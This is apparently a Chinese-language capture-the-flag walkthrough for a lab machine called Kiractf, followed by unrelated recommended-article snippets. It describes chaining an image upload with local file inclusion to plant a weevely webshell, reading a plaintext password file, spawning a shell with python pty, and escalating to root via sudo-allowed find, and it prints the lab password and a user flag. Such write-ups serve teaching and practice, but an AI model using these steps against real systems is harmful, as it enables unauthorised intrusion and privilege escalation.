Kiractf
信息收集
主机发现和端口扫描只开放了80的web服务
WEB打点
访问首页有文件上传,肯定可以利用一波。language那个页面甚至文件包含都写脸上了。
root@Lockly tmp/kiractf » curl http://192.168.56.112
<input type="submit" value="upload" onclick="window.location='/upload.php';"/>
<input type="submit" value="language" onclick="window.location='/language.php';"/>
root@Lockly tmp/kiractf » curl http://192.168.56.112/upload.php
<html>
<head>
<title>PHP File type check example</title>
</head>
<body>
<form action="upload.php" enctype="multipart/form-data" method="post">
Select image :
<input type="file" name="file"><br/>
<input type="submit" value="Upload" name="Submit1">
</form>
</body>
</html>#
root@Lockly ~ » curl http://192.168.56.112/language.php
<!DOCTYPE html>
<html>
<head>
<title>LFI</title>
</head>
<body>
<input type="submit" value="language"
onclick="window.location='/language.php?lang=en.php';" />
</form>
</body>
</html>
root@Lockly tmp/kiractf »
抓包看文件上传,这里限制图片文件上传,但是简单的%oo截断,图片前缀等等尝试了一下都不行。
文件包含
在language.php这个页面点击之后跳转en.php,参数都不用fuzz了直接测文件包含。
文件上传
利用文件包含和上传打组合拳,传png上去但通过文件包含解析。修改成png文件上传。
weevely连接成功:
横向
在supersecret-for-aziz中有个密码,应该是属于/home/bassam的。但是提示必须是交互式终端,奇怪的是明明有python环境,但是升级交互式shell会卡住。
www-data@bassam-aziz:/var/www/html $ ls
index.html
language.php
supersecret-for-aziz
upload.php
uploads
www-data@bassam-aziz:/var/www/html $ cat supersecret-for-aziz
cat: supersecret-for-aziz: Is a directory
www-data@bassam-aziz:/var/www/html $ cd supersecret-for-aziz
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz $ ls
bassam-pass.txt
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz $ cat bassam-pass.txt
Password123!@#
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz $ su bassam
su: must be run from a terminal
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz $ whereis python
python: /usr/bin/python3.6 /usr/bin/python3.6m /usr/lib/python3.7 /usr/lib/python3.8 /usr/lib/python2.7 /usr/lib/python3.6 /etc/python2.7 /etc/python3.6 /usr/local/lib/python3.6 /usr/include/python3.6m /usr/share/python
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz $ python -c 'import pty;pty.spawn("/bin/bash")'
sh: 1: python: not found
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz $ python3 -c 'import pty;pty.spawn("/bin/bash")'
id
whoami
换上哥斯拉的也一样,甚至提示语法错误。
反弹到msf尝试居然可以,不清楚是为什么。
提权
切换到bassam之后在这个用户的目录下找到了一个flag。sudo -l 有find可以利用来提权。
www-data@bassam-aziz:/$ su bassam
su bassam
Password: Password123!@#
bassam@bassam-aziz:/$ ls
ls
bin dev initrd.img lib64 mnt root snap sys var
boot etc initrd.img.old lost+found opt run srv tmp vmlinuz
cdrom home lib media proc sbin swapfile usr
bassam@bassam-aziz:/$ cd /home/bassam
cd /home/bassam
bassam@bassam-aziz:~$ ls
ls
Desktop Downloads Music Public user.txt
Documents examples.desktop Pictures Templates Videos
bassam@bassam-aziz:~$ cat user.txt
cat user.txt
THM{Bassam-Is-Better_Than-KIRA}
bassam@bassam-aziz:~$ sudo -l
sudo -l
[sudo] password for bassam: Password123!@#
Matching Defaults entries for bassam on bassam-aziz:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User bassam may run the following commands on bassam-aziz:
(ALL : ALL) /usr/bin/find
bassam@bassam-aziz:~$
老地方找payload:
拿下root权限和最后的flag。
随机推荐
- 【NET 7.0、OpenGL ES】使用Silk.NET渲染MMD,并实时进行物理模拟。
有关mmd播放器,网上也有许多非常漂亮的实现,如 pmxeditor.saba.blender_mmd_tools等等.. 首先我想先介绍下我参考实现的仓库: sselecirPyM/Coocoo3D ...
- VoIP==Voice over Internet Protocol
基于IP的语音传输(英语:Voice over Internet Protocol,缩写为VoIP)是一种语音通话技术,经由网际协议(IP)来达成语音通话与多媒体会议,也就是经由互联网来进行通信.其他 ...
- 手撕Vue-数据驱动界面改变下
经过上一篇的介绍,数据驱动界面改变 v-model 的双向绑定已告一段落, 剩余的就以这篇文章来完成. 首先完成我们的 v-html,v-text, 其实很简单,就是将我们之前的 v-model 创建 ...
- 16.1 Socket 端口扫描技术
端口扫描是一种网络安全测试技术,该技术可用于确定对端主机中开放的服务,从而在渗透中实现信息搜集,其主要原理是通过发送一系列的网络请求来探测特定主机上开放的TCP/IP端口.具体来说,端口扫描程序将从指 ...
- 14. 从零开始编写一个类nginx工具, HTTP文件服务器的实现过程及参数
wmproxy wmproxy将用Rust实现http/https代理, socks5代理, 反向代理, 静态文件服务器,后续将实现websocket代理, 内外网穿透等, 会将实现过程分享出来, 感 ...
- mysql出现10061错误解决方法
首先要关闭MYSQL服务 关闭你现在正在运行的mysql数据库,用结束mysql进程或者直接关闭mysql服务器都可以 1.开始菜单->运行(cmd)->寻径到MySQL文件中的bin目录 ...
- JS深入之内存详解,数据结构,存储方式
理解了本文,就知道深拷贝和浅拷贝的底层,了解赋值的底层原理. 可以结合另一篇文章一起食用:深拷贝与浅拷贝的区别,实现深拷贝的方法介绍. 以下是正文: 栈数据结构 栈的结构就是后进先出(LIFO),如果 ...
- 数据结构-线性表-单链表(c++)
线性表的运算 求长度GetLength(L),求线性表L的长度 置空表SetNull(L),将线性表置成空表 按位查找Get(L,i),查找线性表L第i个元素 按值查找Location(L,x),查找 ...
- 持续集成(CI)、自动化构建和自动化测试--初探
转自:http://blog.csdn.net/adparking/article/details/5796532 此文章是为了总结前一段时间由于Maven2的学习而引起的一个持续集成的学习. 一.什 ...
- UML学习入门就这一篇文章(转)
1.1 UML基础知识扫盲 UML这三个字母的全称是Unified Modeling Language,直接翻译就是统一建模语言,简单地说就是一种有特殊用途的语言. 你可能会问:这明明是一种图形,为什 ...